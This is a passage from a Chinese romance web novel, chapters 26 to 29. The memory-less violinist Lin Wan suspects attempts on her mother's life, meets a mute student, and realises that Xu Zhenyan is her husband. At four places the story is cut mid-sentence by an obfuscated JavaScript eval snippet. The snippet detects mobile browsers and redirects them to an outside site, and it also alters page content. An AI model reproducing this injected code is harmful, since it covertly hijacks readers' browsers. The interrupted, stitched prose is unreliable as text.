“你去接水。”林珠莉不让林菀碰到蛇血。她要自己清洗座椅。 随着清洗冲刷,粉红色的水流到地上。林菀索性接了一大盆水,冲刷地面。 待车里冲洗干净并消毒后,空气里弥漫着一股子酒精味。而不知是否心理因素作祟,林菀似乎还能闻到空气里的腥味。 “走吧,”林珠莉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林菀这才想起来,其实周城也跟她打了电话。因为周城找了好几个经理都被林珠莉毙掉了。他本是安心画画的画家,结果倒霉地被林珠莉提溜出来处理大师班和基金会的事情。面对这种糟心事,他忙活半天都没效果,疲惫又发憷,只好一边叹气一边请林菀出面敲敲边鼓。 她一看手机,果然好几个周城的未接电话。 “其实我更想让周城接手,他性子温吞好拿捏,可他非得守在乡下画画。”林珠莉说,“在我看来,他做艺术经理的成就会更大。”因为周城性子温润善良,在人人都傲气的艺术圈里不得罪人,所以他的人缘不错,朋友很多。这就解释了他家里为何那么多艺术作品。 “你觉得他的绘画天分不高?” “没到你当初学小提琴的天分一半。只能笨鸟先飞,勤能补拙。”林珠莉略有遗憾,“不过人是好人。不觉得吗?他跟徐箴言的气质非常像。” 林菀看到林珠莉的眼里有一丝戏谑一闪而过。她知道,林珠莉是故意的。 26. 我自己最重要 这时,门口传来汽车声。 林珠莉起身走到窗口,看到周城从车里下来,他身后跟着个中年男人。周城也看到她,可并不过来,只是挥手让林珠莉看车库的方向,“师娘,车库里在流水!” 林珠莉惊讶地探头看看,然后转身走地下室去车库。林菀来开门迎接客人。 “太好了,你在这儿。”周城一看到林菀便笑起来,压低声音,“待会帮忙说和一下,我实在不想再面试了。”他穿着黑衬衫,还有黑色的西装裤。如果远远地看,简直就是徐箴言。 林菀心头一跳,微笑着答应,“我尽量。”她也不清楚周城找来的人是否合适。 林珠莉回到客厅,对周城说道:“多亏你发现。准是家政开车库的水龙头洗拖把,临走忘了关。” 周城笑了笑,介绍跟他过来的中年人,“这位是秦文翰先生,在画廊和拍卖行都工作过。这位是林律师,还有她的女儿,小提琴家林菀。” 秦文翰立即打招呼。他大概四十多岁,但头发已经半白,银丝夹杂在黑发里,十分显眼。可他面貌整洁,精神抖擞,穿着改良版的立领蓝黑色中山装,倒像是要登台演讲似的。 “秦先生好,去客厅坐吧。”林珠莉率先转身。 而周城看出她有点跛行,“您的腿怎么了?” “去江西乡下出差,结果有蛇爬进车里。”林珠莉的脸色没有任何不对劲,“好在一开车门就发现,请村民把它赶出来。不过我还是受惊,擦伤了脚。” “没被咬就好。在人活动的地方出没的蛇,肯定也不是毒蛇。”说完,周城轻轻咳嗽一下,朝林菀使眼色。 林菀便问道:“秦先生一直做艺术相关的工作吗?” 秦文翰便捡履历重点说了一遍,他在国内外都工作过,而且有跟不少名家合作。 林珠莉打量着他,若有所思,“我是不是在哪里见过你?” 秦文翰略有诧异,客气地笑起来,“这倒是不清楚。不过我跟周画家认识三年了,最初是在商氏夫妇的私人艺术展上见面。” “你是商收藏家的朋友?”林珠莉抓住其中信息。 “是的。” “商氏夫妇是什么人?”林菀问。 “忘了吗?”周城善意地提醒,“他们是拥有最多师父作品的收藏家夫妇。” 林菀点头,尽量显得坦然。 知道秦文翰跟商氏夫妇认识后,林珠莉没多为难,寒暄半小时便送他们离开。 “周城多去大师班。秦经理不熟悉,你可以多在旁提醒。”林珠莉已经称呼秦文翰为经理。不管怎么样,她得卖商氏夫妇一个面子。 周城笑了笑,没吭声。 林菀则看出他的无奈。林珠莉有时过于强势,说一不二。而以周城的性子来说,他不太会拒绝,因此总是勉为其难地做一些事。 “周城哥忙不过来吧。”她开玩笑般说道,“我还等着你尽快完成手头的作品,欣赏大作呢。这个最重要。对吧?”她回头看向林珠莉。 林珠莉便说道:“以你本职工作为重。没时间去也没关系。” 周城松了口气,出门时轻轻跟林菀耳语,“下次请你吃饭。” “院子里的樱桃树还好吧?”林菀鬼使神差地问。 “长势很好,来年结果了第一个送给你。” 等周城和秦文翰出门,林菀望着离开的汽车,“商氏夫妇到底是什么人?” “不炒股,炒艺术品的有钱人。他们这几年一直在国外,买了你父亲十几幅画,光保险就花了不少钱。” 听到“保险”二字,林菀心里一晃,但面色没表现出来,“只听说给人买保险,没听说要给画买保险的。” “想买保险?我倒是有认识的保险公司熟人,你的确该给双手买保险。”林珠莉说。 林菀缓缓地深呼吸着。林珠莉竟然不知道她有保险,而且价值两亿。 “秦文翰的履历不错,我让周城多来大师班,是让他多跟秦文翰学习。这孩子抓不住机会。” “他只喜欢画画。” “所以说,你父亲别的没教会他,固执倒是教给他了。” 终于聊到了这个话题,林菀试探地问道:“你对父亲……有什么看法?” “没看法。”林珠莉一脸淡漠。 “那你知道他写的那本育儿书吗?” “没看过,不感兴趣。”林珠莉回到客厅,“我倒是奇怪这本书现在还有市场。” “为什么这么说?” “出版社送过我第一版的样书,他朋友做序,里面写道,‘我问乃岳,你自己已经是知名画家了,有钱有地位,为何还要鞭策孩子继续刻苦努力?而乃岳回答,只有这样才能让她进入更高的阶层,找到更好的丈夫。可见乃岳用心良苦,为父表率,我等佩服’。”林珠莉淡淡地说,“我们的确发现了你的小提琴天赋。可我并不是为了让你做一个优质的好媳妇才培养你,我希望你成为你自己。” 林菀一瞬不瞬地凝视着母亲。阳光从窗户斜射进来,她眼里有点点光芒。 “我是想做一个好母亲,但是搞砸了。”林珠莉继续说道,“我不太会跟小辈相处。但是我接受这一点。”她平静地告诉林菀,“如果给生命中重要的事情排序,我认为我自己最重要。” 她没有改变过,她永远觉得自己最重要。 “这样很好。”林菀郑重地点头。她从未希望母亲是一个为了孩子而舍弃自我的人。不能满门心思全在孩子身上,让孩子变成唯一生活支柱。 墙上的时钟敲响五下,林菀回神,“我要回去了。” “你跟徐箴言相处还好?” “怎么?” “我关心一下潜在客户。” “……你要帮我打离婚官司?” “帮徐箴言老婆打。我会让他净身出户。”林珠莉笑盈盈,又意味深长地看着女儿。 “……你多虑了。”林菀垂下眼眸。徐箴言是一个克制的人,她也绝对可以做到。 林珠莉起身,“我送你到门口。今天……谢谢了。”她打开大门。 “不客气。”林菀说,“我把垃圾带出去。”她指的是装着尖吻蝮的垃圾袋。 “别动,这个我处理。” “有毒,还是我来——” “我说了让你别动。”林珠莉语气陡然严厉。 林菀后退一步,喉头滚了一下,“好。”她下台阶离开,走出草坪后突然下意识回头,发现林珠莉依旧站在门口看着她。 不管是清洗驾驶位,还是眼下丢垃圾,林珠莉都不让她碰有毒的尖吻蝮。即使洗车时,林菀也戴了手套,可林珠莉坚持独自面对危险。而这个女人还说她觉得自我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102843|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最重要,其他统统往后排呢。 林菀拔腿就跑,冲回大门口用力拥抱林珠莉,可能只有一秒,也可能只有两秒。她迅速地放开林珠莉,转身匆匆离开。任心脏乱跳着,她紧紧攥紧手指,没有再回头。 林珠莉望着女儿的背影,慢慢地露出笑容。 …… 第二天,林菀拎着果篮和营养品礼盒,走进莱城最好的医院。林珠莉的司机因为双腿骨折,就在这里住院。 之前林菀已经探望过一次,但她觉得有必要再来一次。 从林珠莉家离开后,她越想越觉得不对劲。为何偏偏在林珠莉没了司机,需要自己开车的时候,她的新车驾驶位下出现致命的尖吻蝮? 再联系之前的连环追尾,林菀质疑有人想取林珠莉性命。当时她也在场,说不定……有人想要打包收割她母女俩。 面对再次探望的林菀,司机就林菀和林珠莉全权支付的医药费再三感谢。 “您恢复得好就行。”林菀关切地说。 “林律师也来过,她说司机岗位还留给我。” “说起那场车祸,您有没有觉得奇怪的地方?”林菀问。 司机摇摇头。 “车祸发生之前在饭店的事情也可以。” “说到这个。”司机终于记起什么,“追尾那小子明显对自动挡不熟,他跟了我两个路口就熄火三次。他当服务员没啥钱,那车还是租来的。” 林菀若有所思地点头。一个服务员租车去碰瓷客人,的确胆大。但除此之外,好像也没有其他有用消息。 然后,林菀独自又去了当时出事的饭店。经理一脸苦相地告诉她,店里客人少了不少,而那个服务员的同乡也纷纷辞职了。 这些消息对林菀来说,依旧无效。 此时已经快十点,她没有打车,一路散步回去,在夜风中慢慢地思考。再次路过医院,她走着走着,面前突然出现一双脚拦住她的去路。抬头一看,竟然是徐箴言。 “你——”林菀一时震惊,突然意识到这条路是徐箴言下班必经之路,“现在才下班?” “嗯,最近几天特别忙。我顺道过来去自助打印机取蕊蕊的检查报告。你呢?”他手里拿着几张从医院打印出来的报告。 “她生病了?” “没有,只是她挑食贫血,例行检查一下缺什么元素。” 林菀松了口气,又道:“我妈的司机骨折在这里住院,我过来看看,然后散散步就到这个点儿了。” “我送你回去。” “稍等一下。”林菀掏出手机,上面竟然显示助理麦柯来电。这个久违的名字让她脑子里一根神经嗡地弹起来。 “姐姐方便接电话吗?有事找你。” “我待会打给你。你几点睡觉?” “我睡不着,又失恋了。所以半夜打给我都好。” “行。”林菀挂断手机,抬起头来,“你刚刚说什么?” 徐箴言沉默半晌,突然说道:“都晚上十点了,麦柯为什么给你打电话?”他听到了失恋之类的词语。 “额——” “失恋了就能给你打电话?你允许的?”徐箴言盯着她。 他的态度认真极了。耳不聋的都听到他语气有所变化。 “你……为什么生气?”林菀茫然。刚刚不是还好好的吗? 27. 油画作礼物 林菀不理解徐箴言为什么莫名其妙生气。他没有生气的理由。 而麦柯也并不是失恋了找林菀闲聊,而是为了告知林菀,乐团为了演出已经定下合练时间。通常在登台表演前,交响乐团会提前一个星期进行整个团体的合练排演。 为了准备演出,也为了展示最近的学习成果,林菀在涂淼面前演奏了一首巴赫的《E大调小提琴协奏曲》。 “比之前进步很多。”涂淼认真地分析。她注意到林菀的手指已经长茧子,可这不够。涂淼只能实话实说,“想要上台表演的话,还有很长一段路走。” “只剩下一个月多点的时间就演出了。”林菀将琴放下,慢慢地说。 “实在不行,说你手腕腱鞘炎犯了?乐团也不是没有临时换人的先例。” “但只要我能想起来,哪怕只是唤醒曾经的肌肉记忆都能搞定演出。” “关键是你想不起来啊。” 林菀想到一个主意,“你有没有之前我练琴的视频?或许看到的话,我就能想起来。” “我回去找找。”涂淼皱起眉头,“你还可以问问麦柯有没有记录视频。对了——我们去找个大师算算?或许你是遇到什么脏东西了。” “……先找找视频吧。”林菀有些难言。她看到手机屏幕亮了,是林珠莉发了一条信息,要给她介绍朋友家一个打算参加小提琴艺考的学生,让她有时间帮忙看看。 涂淼一听就摇头,“不行不行,你压根没有时间干这个。再说了,让堂堂莱音首席去培训艺考生?简直杀鸡用牛刀。” “我现在根本不够资格当首席。”林菀提醒她。 “那更不能答应,你肯定会露马脚的。” “不,我得接下这个活儿。”林菀思忖着,见涂淼又要抗议,便仔细道来,“你听我说,以我‘首席’的顶级资历摆在这儿,他们肯定也不敢让我事事躬亲地指导,所以我要做的就是‘看看’而已。我不用亲自示范,只要在旁边点评就好了。这方面我在行。至于教学,”她眼里有光一闪,“让麦柯来。” 麦柯也是音乐学院小提琴专业毕业的,让他去教艺考生,绰绰有余。他已经休息了很长时间,是时候开始工作了。 “对啊,”涂淼顿时觉得很妙,“他教艺考生,你也能旁听学习。” 涂淼话音刚落,门铃就被摁响。 “不会就是他吧?”林菀边说话边去开门。门外站着一个同城闪送员,脚边放着三个长方形的货物,四角都用泡沫固定好。 “林女士,是吧?”闪送员递过来一张发货人写的便签。 “这什么?”涂淼过来帮忙把东西搬进来。 “我不知——发件人是徐箴言。”林菀迟疑几秒,还是签收了。关上门,她看着手里的便签,继续说道,“这是三幅油画,他送我的。” “老实说,你俩是不是真有我不知道的内情?”涂淼狐疑地盯着她。 “哪有。”林菀心想徐箴言是不是为了昨晚发脾气而道歉,但这也太贵重了,让人匪夷所思。她将画搬到桌子上,犹豫半晌还是忍不住拆开。徐箴言在便签上说她肯定会喜欢。那他画的是什么? 拆出第一幅画的一个角时,林菀已经恍然大悟——这是徐箴言画的加百列月季,从萌苞到凋谢一共三幅,就是他上次送去装裱的。这三幅画里还丢失过一幅,徐箴言后来重画了——他既然如此喜爱,为何还送给她? “我的天呐,太精美了。”涂淼对色彩很敏感,忍不住围着桌子转圈欣赏,连连感叹,甚至掏出手机来拍照。 “这是他画的加百列月季。”林菀也慢慢欣赏着画面,忍不住用手触摸。 加百列这三个字冲进涂淼的耳朵,勾起曾经的回忆。她的确听徐箴言提过。“原来这花叫加百列啊。难不成是你跟徐箴言说喜欢这花,让他画给你?” “没有啊。” “哎,就去年。”涂淼忍不住提醒,“你网购洋桔梗花苗,结果卖家搞错了,给你发来的就是这种月季。你索性就种了。但这花好像挺难伺候,你屡试屡败,屡败屡战。我没见你种的加百列开花过,顶多出个花苞就萎了。” 林菀愣住。她万万没想到还有这层故事。难不成徐箴言知道? 她脑海里突然抖出一段对话。 “咱们的花儿又枯了,明明马上就快开花。” “我画给你吧,画它开花的全程,就挂在客厅,你可以每天看。” 涂淼没注意她的表情变了,“这也太巧,难不成徐箴言也喜欢加百列?” “等等,你先别说话。”林菀伸手止住她,集中注意力努力回想。然而她思考得太阳穴都隐隐地疼,还是没想起来其他信息。就连刚刚浮现的这两句对话都模糊至极,仿佛就是她听到涂淼的话后的魔怔幻想。 她再次看向桌上的三幅加百列,每一幅画的角落里有两个小小的字母“ZY”,也就是箴言。 …… 林菀开始怀疑她是不是以前认识徐箴言,可从第一次见徐箴言以来,他没有任何表示。难不成他就是打听林菀的保险时偶尔听说她种过加百列?可到底为什么要打听?他是林菀的终极粉丝?不对劲……这种分析放到徐箴言身上,显得太荒谬了。 “在想什么?”林珠莉推包厢门进来。 此时,是当天下午,茶餐厅雅致的包间。落地窗外,竹林风起,溪水潺潺。 “我在思考演出要用的曲子指法。” 林珠莉吩咐服务员上绿茶,然后才说道:“来早了,那个孩子估计还有一刻钟才到。” “他父母不来?” “他父母在国外,”林珠莉看了她一眼,“就是商氏夫妇。” 林菀静了一会儿,没有说话。服务员正好端上茶水。 林珠莉喝了一口茶,也不废话,“你父亲一副遗失多年的画作,最近在他写生过的一个村子农家找到了。叫盐河村,他在一个农户家里留宿过一段日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的头发显然是精心打理过的,乱得很有层次,左边耳朵打了两个耳骨钉,脖子上挂着克罗心项链。他的T恤衫是两件套式的,主色调为米白色,袖子上的多彩图案却大而显眼。手表也是宽大的机械腕表。他穿着至膝盖上方的棕红色短裤,搁在脚边的滑板则印着京剧油彩脸谱。 林菀见惯了以黑白灰为主色调的上班族,猛一看这孩子的色彩鲜亮大胆,非常惹眼,搭配他俊秀的脸蛋,特别像是小女孩们追的偶像组合少年爱豆。 男孩抬头便一瞬不瞬地看向她,站在门口也没有动。倒是他身后赶过来个面容慈祥的六十多岁妇人,胖胖的,穿着体面整洁,手里挎着个布艺包。 “不好意思,我们迟到了。这是商皓宸,他父母在国外,我平时负责照顾他。”老妇人笑眯眯地介绍,“我是他二舅姨。” “您好。”林菀起身打招呼,“皓宸你好。” 男孩眼神闪烁,但没有说话。 林珠莉笑了笑,“孩子学琴几年了?” “六年。”回话的依旧是老妇人,“我家皓宸听力没问题,但天生不会说话。请多担待。” “没事。”林菀心底错愕,但迅速控制住表情,微笑着看向那个少年,“请坐。” 这个父母阔绰,长相标致的少年,竟然先天性失语。 28. 她的丈夫 从茶餐厅出来,商皓宸拎着滑板大步往前走,脚底生风似的。 老妇人跟了几步,终是连声呼唤,“皓宸,二舅姨走不动了!” 商皓宸转过身来,放下滑板,脸上的表情依旧气愤与难过。 “怎么了?见着她为什么不高兴?”二舅姨望着自己一手带大的孩子,很容易就读懂他的情绪。 商皓宸打着手语,速度极快——“太丢脸了!”他是生自己的气,太丢脸了! 自从跟爸妈说他想要见林菀后,商皓宸已经紧张了好几天。今天好不容易盼来偶像的消息——甚至她还说可以帮忙看看他的学琴成果——他就赶紧洗漱收拾,选衣服都选了一个多小时。他换了好几套搭配,拍照发给朋友们。大家虽然不知道他要干什么,但还是票选出了他今天这一身行头。 于是,他穿上了自己精心准备的最好看的衣服,而且还给手机充足电,拿上了备用手机,就是为了能与偶像顺利地交流。 他心想,虽然自己不会说话,可是他打字快呀。他绝对不会让林菀觉得教他很麻烦的。 然而,一见到林菀坐在那里朝他微笑,他就发现自己变成了僵硬的木偶,心跳倒是很快,可大脑一片空白。接下来的聊天,几乎都是二舅姨帮忙回答。 气死了!他明明很擅长跟人打交道。他在朋友圈里是最活泼开朗,最受人欢迎的那一个。他根本不是木讷呆板的傻小子。 “没关系,明天就要跟她上课。到时候你好好表现。她肯定会知道咱们皓宸是个顶优秀的孩子。”二舅姨笑眯眯地宽慰他,“就算今天没有聊天,可你穿得很精神呀,腰杆也挺直。一看就是认真对待这次见面。她是成年人,会看得出来。” 可是说到这一点,商皓宸更加生气了,手势也更快。“她不喜欢这身衣服!” 林菀私下特别注意隐私,鲜少有工作之外的状态暴露在社交媒体上。而今天一见面,她的衣着简约大方,就穿着白衬衫加一条草绿色的裙子,跟他这花里胡哨的模样完全背道而驰。 “那咱们现在去买衣服?”二舅姨问。这孩子升入高中后就不肯跟她出门买衣服了,都是跟朋友们一起逛街。这群色彩鲜明的时尚达人总是站在街角打手语聊天,笑得前仰后合。或许是因为在声音方面有所欠缺,所以大家都喜欢出挑的颜色。 商皓宸没有回复,只是重新拎起晒得滚烫的滑板,独自闷闷地往前走。 待经过商场大门,他明明都走过了,但脚下一转又拐了过去。 二舅姨跟在后面,无声地摇头叹气,又忍不住笑了。 …… “姐姐,你不要变着法子折磨我,行不行?”许久不见的麦柯似乎又长胖了点,拘谨地双腿并拢坐在林菀家客厅的沙发上。 “让你试试拉首曲子给我听,又不是让你上绞刑架。”林菀坐在他对面,中间的小桌子上摆了一把小提琴。 “那你倒不如杀了我。你想让我去报名乐团空缺的小提琴职位,对不对?”麦柯虔诚地拒绝,“这一辈子,我只计划躺平。千万不要逼我奋斗。我爸妈绝食都干不了的事情,你也干不了。” “我没想让你去报名。”林菀思考一下,“你如果真的很想在助理这个岗位上继续躺平,那就拉一首我听听。小提琴家的助理起码也得会拉琴吧?” 听到林菀不是让他奋斗,麦柯眼睛一亮,立即捋袖子,“这好说。”他起身就摆架势,“你想听啥?” “巴赫的《E大调小提琴协奏曲》。”她想跟自己的水平对比一下。 “我不记得谱子了。” 林菀起身去把乐谱架拿来。 于是,麦柯演奏了一曲巴赫名曲,也是小提琴中级必备曲目。 林菀不得不承认,以麦柯毕业后就转行的架势,琴艺也比她目前流畅很多。但这个差距,她应该能在接下来的日子里赶上。林珠莉说她极有天赋,这也给了她极大的信心。 “班门弄斧了,姐姐你不要笑我。” “没事,挺好的。”林菀又问,“你私下里教过艺考生吗?” “姐姐你忘了?我来当助理之前就是在琴行工作啊。” “那太好了。我现在休假,闲来无事就带了一个朋友家的艺考生,你帮忙来上两节课。我在旁边看看。”林菀很高兴。 “哦,”麦柯一寻思自己带薪休假好久了,“行啊,没问题。” “具体上课时间,我跟他约好了再告诉你。”林菀起身伸了个懒腰,“就在这儿吃晚饭吧。” “不不不,”麦柯的头摇得像拨浪鼓,“这都下班时间了,免得又遇上您室友。” “我哪里来的室友。”林菀很是奇怪。 “就那个高高瘦瘦的男的啊。”麦柯边说边比划,“我上次晚上过来,他开的门。你说他是你室友。” “……”林菀心想以自己银行卡上的数字,应该不至于招个室友,而且还是男的,多不方便。 “然后上上一次,我来找你,他从卧室出来。你说他是来修空调的。他说好吧,他是空调师傅。”见林菀还是想不起来,麦柯急得拍了下大腿,“就是那个让我别老是晚上来找你的男的!我说他威胁我,你还不信!” 林菀望着他,越来越觉得不可思议。脑海里有什么东西好像马上要冲破牢笼,跳出来昭告天下它的自由。 空调师傅是她的室友…… 室友、空调师傅…… 有一个人的声音重新响起:“我一直在谈单方面的恋爱。在她那里,我是她的同事、她的邻居、她的调音师、她的空调师傅、她的室友——你别摇头,她真跟人介绍过,我是她请来修空调的。” 徐箴言! 这个名字带着海啸般的威力,席卷了林菀的心。理智悬于一线,她整个脑子嗡嗡作响,心跳得发慌。林菀失了力一般坐到沙发上,一时无措得耳根子发烫。 她勉强控制着起伏的心跳,摸出手机来,点开徐箴言的朋友圈。他最近转发的单位文章里有他的照片。 林菀艰难地咽了口唾沫,把照片给麦柯看,“是左边这个人吗?” 麦柯毫不犹豫地点头,“对。”他又打量林菀的脸色,在八卦的边缘反复试探,“话说,姐姐,他真是你室友?还是……你男朋友啊?” 这一句疑问直指人心,林菀如梦初醒。 …… 再一次,她在夜幕降临之后,打车来到徐箴言家。 一路上她思绪芜杂,心里揣着焦虑与激动,怎么也理不清头绪。她只想尽快见到他。 一楼客厅里有灯光,家里有人。 林菀按捺住心头起伏的暗涌,摁响门铃。 “我来开门!”稚嫩的童声响起,配合着噔噔噔的脚步声。 拖着长颈鹿玩偶脖子的蕊蕊踮起脚尖打开门。 林菀亲切地弯腰刮了刮她的小鼻子,“你好呀,蕊蕊。” “蕊蕊,是谁?”把工作带回家里处理的徐箴言从书房里出来,一眼便看到了站在夜色中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102845|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的林菀。 他愣住了。 林菀知道,其实他之前生气还未全消。因为他送来油画时,明明可以打电话,但他选择写了张便签,只有简单几个字“油画送你,你肯定喜欢”。但就是在生气的情况下,他还是选择送画。 原因? 就跟他讲述自己恋爱故事的初衷一样,唤醒林菀的记忆。 “你还生气吗?”她认真地问。 徐箴言静静地望着她,选择先解决掉眼前的小电灯泡。“蕊蕊,回房间去找一找你今晚要听什么睡前绘本,好不好?” “好!”蕊蕊拖着长颈鹿朝她睡觉的房间跑。 “待会兔子阿姨陪你玩。”趁着蕊蕊转身,她摸了摸孩子的小脑瓜。 他听到她自称兔子阿姨,但并未多想,因为前些天蕊蕊就喊过她兔子阿姨。 “先进来,外面蚊子多。”他拉她进来,关上门,又开鞋柜拿拖鞋出来,“吃晚饭了吗?” “还没。”林菀尽量克制自己,让声音不要发颤,“麦柯并不是故意的。我跟他说过了,以后工作尽量放到白天。他以前就让你误会,是我没跟他讲清楚。”是啊,她早就应该怀疑,她明明没有提过麦柯的名字,为何他当时一听声音就知道来电话的人叫麦柯? “我知道他虽然——”徐箴言猛地顿住话头,难以置信地望着她的双眸。她刚刚说到什么?麦柯以前让他误会。以前?? 林菀深深地呼吸着,她记得徐箴言说过,无情有时是最大的温柔。可是——“你的温柔,要持续到什么时候?” 她一瞬不瞬地望着他,“你要等到何时才会告诉我,我的室友、我的调音师、我的空调师傅、我的邻居,乃至我的丈夫——都是你?” 关系突然挑明,徐箴言期待已久的晨曦终于到来。可他却像初次被揭开早恋的毛头小子一般,半点也动不了。心脏仿佛被揪住了,他张了张嘴,发现喉咙有些酸堵。 “应该发火的明明是我——你真的无情得让人生气。我早就知道自己有个丈夫,但他无影无踪仿佛人间蒸发似的。你知道这种情况多叫人焦躁吗?我一会儿觉得他是不是有阴谋,一会儿又觉得我是不是多想了。”林菀越说眼中越湿润,“可是偏偏我又遇见你。就算什么都不记得,可我还是喜欢你。” 徐箴言目光闪烁,一阵燥热从心头猛地窜起,好像被电流打了一样,心疼难过,也有点酥麻。他朝她迈出一步,却被她喊停。 “你别过来,因为我生气了。”她朝后退步,靠到门上。然后又因为眼里过于湿润,转身对着门抹眼睛。 不久,背后还是传来轻微的脚步声。熟悉的气息靠近,温柔地将她包围。 他伸手揽住她的腰,将她拥入怀中。 后背上的温度传导而来的,不止有他的温柔,还有他呼吸之间胸膛的起伏,轻一下,重一下,如羽毛一般撩拨着她脆弱的神经。 “对不起。”他渐渐收紧了手臂。她的身体渐渐僵硬起来。 他没再说话。寂静的客厅里只听得彼此的呼吸声。 纵然他什么也没再说,可她却觉得听懂了他无声的独白。他也委屈,他也难过。面对什么也想不起来的她,他也辛苦。 徐箴言轻轻低头将眼睛靠在她肩头。薄薄的衣衫很快微微湿润,贴着他的眼眸处留下月牙一般的痕迹。 人们都说,泪水是咸的,但也有可能是甜的吧? 他手上的婚戒,从未摘下来过,在暗影中依然闪着光芒。 29. 一起逛超市 夜色如常,月亮掩藏在淡淡的云朵后面。徐箴言家窗外的垂丝海棠已经满树绿叶。 “为什么你能等到现在都不主动告诉我?”林菀还在继续追问。她不安心,是他没那么喜欢她吗? “因为担心你会害怕。本来生活安稳如意,突然之间多了个莫名其妙的丈夫,换谁都要焦虑。你不知道他的品性,不了解他的背景,而这个人却要插足你的人生。他是好人吗?是否别有用心?你肯定考虑过这些问题吧?”徐箴言也想把这件事情讲清楚,“婚姻有可能是感情的结果,也有可能是被迫戴上的枷锁。我不希望你有这样的困扰。所以等你慢慢回忆起来也不迟。” 他顿了顿,“再说,倘若你一开始知道是我,恐怕就不会对我有好感了。”以她的性格,肯定先有的是戒备,而不是喜欢。“还记得我在你家小区外地铁站等你,说刚刚从丈母娘家拿东西出来吗?” “记得。” “其实当时是从你家出来。我收拾了自己留在那儿的所有东西,唯独没找到你的那只婚戒。” “戒指被我送去调整大小了,所以我很快就发现自己结婚了。” 徐箴言看着她,半晌都没有说话。 “怎么了?” “很棒。”他笑起来,揉揉林菀的头发。 对他而言,林菀就像一本永远都读不完的书,看完这一页,以为自己够了解,但还有下一页的未知在等待。他总是担心林菀知道结婚的事情后会害怕,然而现实却是她就算知道了自己已婚,而丈夫不知所踪,还能不动声色地做自己的事情,全力生活下去。 水壶发出咔哒一声响。徐箴言转身将水倒到碗里烫西红柿,然后开始煮面。“你知道我做的拌面有个什么秘密诀窍吗?”他问坐在餐桌后面的林菀。 “酸萝卜?” “那是你喜欢吃。”徐箴言打开冰箱,拿出来一罐蟹黄酱,“这个。” “我还没尝试过。”林菀很是跃跃欲试。 徐箴言的动作一顿,他其实做给林菀吃过。所以,其实她还是没想起来。 “变质了吗?”她问。 “没有。”徐箴言将蟹黄酱舀进碗里,“我最拿手的还不是这个,是咖喱面。不过家里现在没有咖喱了。” “那我们明天去买?我做菜也还成。明天买菜回来我做个肥牛金针菇。” “行,下班就去超市。不过你别做饭,等着吃就行。”徐箴言将面捞出来,“你的手不能受伤。” 林菀心里咯噔一下。徐箴言说的是小提琴家林菀,而不是普通上班族林菀。他的爱人是行业精英,是闪闪发光的大牛,而此刻的她…… 徐箴言看到她在发呆,突然倾身亲了一下她的鼻尖。 林菀吓了一跳,脸刷地红了,一时想揉鼻子但又不敢。 徐箴言忍不住叹了口气,“你早点习惯吧。” …… 吃完面,已经快晚上十点。林菀犹豫再三还是说:“我要回家了。”虽然她知道了自己和徐箴言是夫妻,但这种感觉怎么看都是婚后恋爱。她还放不太开。 “好。”徐箴言说。 他答应得过于快速,林菀又忍不住狐疑,“……你不挽留我吗?” “我当然希望你留下来,但是我知道你不好意思。” “……你不用说得这么直白的。” “那我重新说一遍?蕊蕊在这里,我就不留你了。”徐箴言拿起车钥匙,搂住她的腰将她拉过来,“可是我能送你回家。” “那蕊蕊呢?” “看她想跟我一起出门,还是去对面邻居家玩。跟你一起吃了夜宵,她估计要蹦到半夜才会睡觉。” …… 第二天下班,徐箴言直接开车去繁寓路接林菀,两人一起去逛超市。而蕊蕊今天放学回她自己家。 他们去往商场负一楼电梯时,路过一家猪咖。 “看,全是小猪。”林菀趴在落地窗外。她的右手无名指已经戴上婚戒。 徐箴言也学她的样子欠身看,“我有一个同事养过。” “现在长多大了?”林菀立即问。 “我没关注。那是隔壁部门领导送给一个同事的。” 林菀一惊,突然很兴奋地道:“是不是那个领导和下属出轨的?两人经常一起出差,被老婆闹到银行来了。结果老婆也是小三上位。”她感觉在遥远的曾经,徐箴言跟她讲过这个八卦。 徐箴言一眨不眨地看着她,半晌才开口:“咱俩一起做过的事情,你不记得。我讲给你的八卦,倒是都记得?” “……八卦之心人皆有之嘛。”林菀觍着脸笑,搂住他的胳膊,歪头问,“那个猪长多大了?” 等到进了超市,徐箴言一手推着购物车,一手拽着正拿他手机看微信群八卦的林菀。她一边看一边摇头惊叹。 “这也太明显了吧。他俩不是好朋友么?这男的拿微信聊天记录去举报同部门好友和领导私通,明眼人一看就知道举报人是他啊。”林菀无比遗憾地将手机伸到徐箴言面前,“他再马赛克也马赛克不了他一颗嫉妒的心。他不会是喜欢这个女生吧?” 